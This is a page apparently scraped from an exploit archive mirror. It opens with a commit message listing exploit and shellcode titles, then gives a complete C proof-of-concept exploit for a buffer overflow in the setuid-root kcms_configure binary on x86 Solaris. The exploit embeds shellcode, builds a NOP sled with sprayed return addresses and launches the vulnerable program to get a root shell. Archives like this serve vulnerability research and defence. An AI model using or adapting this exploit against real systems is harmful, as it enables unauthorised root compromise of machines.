880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
55 lines
No EOL
1.9 KiB
C
55 lines
No EOL
1.9 KiB
C
// source: https://www.securityfocus.com/bid/2558/info
|
|
|
|
The Kodak Color Management System, or KCMS, is a package that ships with workstation installations of Solaris 7 and 8. kcms_configure, a part of KCMS, is vulnerable to a buffer overflow if it is passed an overly long string on the command-line by a local user. kcms_configure is installed setuid root, so a buffer overflow can lead to arbitrary code execution as root.
|
|
|
|
An exploit for x86 Solaris is available to attackers.
|
|
|
|
/*
|
|
Command line argument overflow
|
|
/usr/openwin/bin/kcms_configure
|
|
|
|
Proof of Concept Exploitation
|
|
Riley Hassell
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <unistd.h>
|
|
|
|
#define BUFLEN 1100
|
|
|
|
/* seteuid/exec shellcode */
|
|
char shell[] =
|
|
"\xeb\x0a\x9a\x01\x02\x03\x5c\x07\x04\xc3\xeb\x05\xe8\xf9\xff\xff\xff"
|
|
"\x5e\x29\xc0\x88\x46\xf7\x89\x46\xf2\x50\xb0\x8d\xe8\xe0\xff\xff\xff"
|
|
"\x29\xc0\x50\xb0\x17\xe8\xd6\xff\xff\xff\xeb\x1f\x5e\x8d\x1e\x89\x5e"
|
|
"\x0b\x29\xc0\x88\x46\x19\x89\x46\x14\x89\x46\x0f\x89\x46\x07\xb0"
|
|
"\x3b\x8d\x4e\x0b\x51\x51\x53\x50\xeb\x18\xe8\xdc\xff\xff\xff\x2f\x62"
|
|
"\x69\x6e\x2f\x73\x68\x01\x01\x01\x01\x02\x02\x02\x02\x03\x03\x03"
|
|
"\x03\x9a\x04\x04\x04\x04\x07\x04";
|
|
|
|
char buf[BUFLEN];
|
|
unsigned long int nop, esp;
|
|
long int offset = 0;
|
|
|
|
unsigned long int get_esp() { __asm__("movl %esp,%eax");}
|
|
|
|
int main (int argc, char *argv[])
|
|
{
|
|
int i;
|
|
if (argc > 1)
|
|
offset = strtol(argv[1], NULL, 0);
|
|
else
|
|
offset = -300;
|
|
nop = 600;
|
|
esp = get_esp();
|
|
memset(buf, 0x90, BUFLEN);
|
|
memcpy(buf+600, shell, strlen(shell));
|
|
for (i = nop+strlen(shell)+1; i <= BUFLEN-4; i += 4)
|
|
*((int *) &buf[i]) = esp+offset;
|
|
buf[BUFLEN-1] = '\0';
|
|
execl("/usr/openwin/bin/kcms_configure", "eEye",
|
|
"-o","-S","X",buf,NULL);
|
|
return;
|
|
} |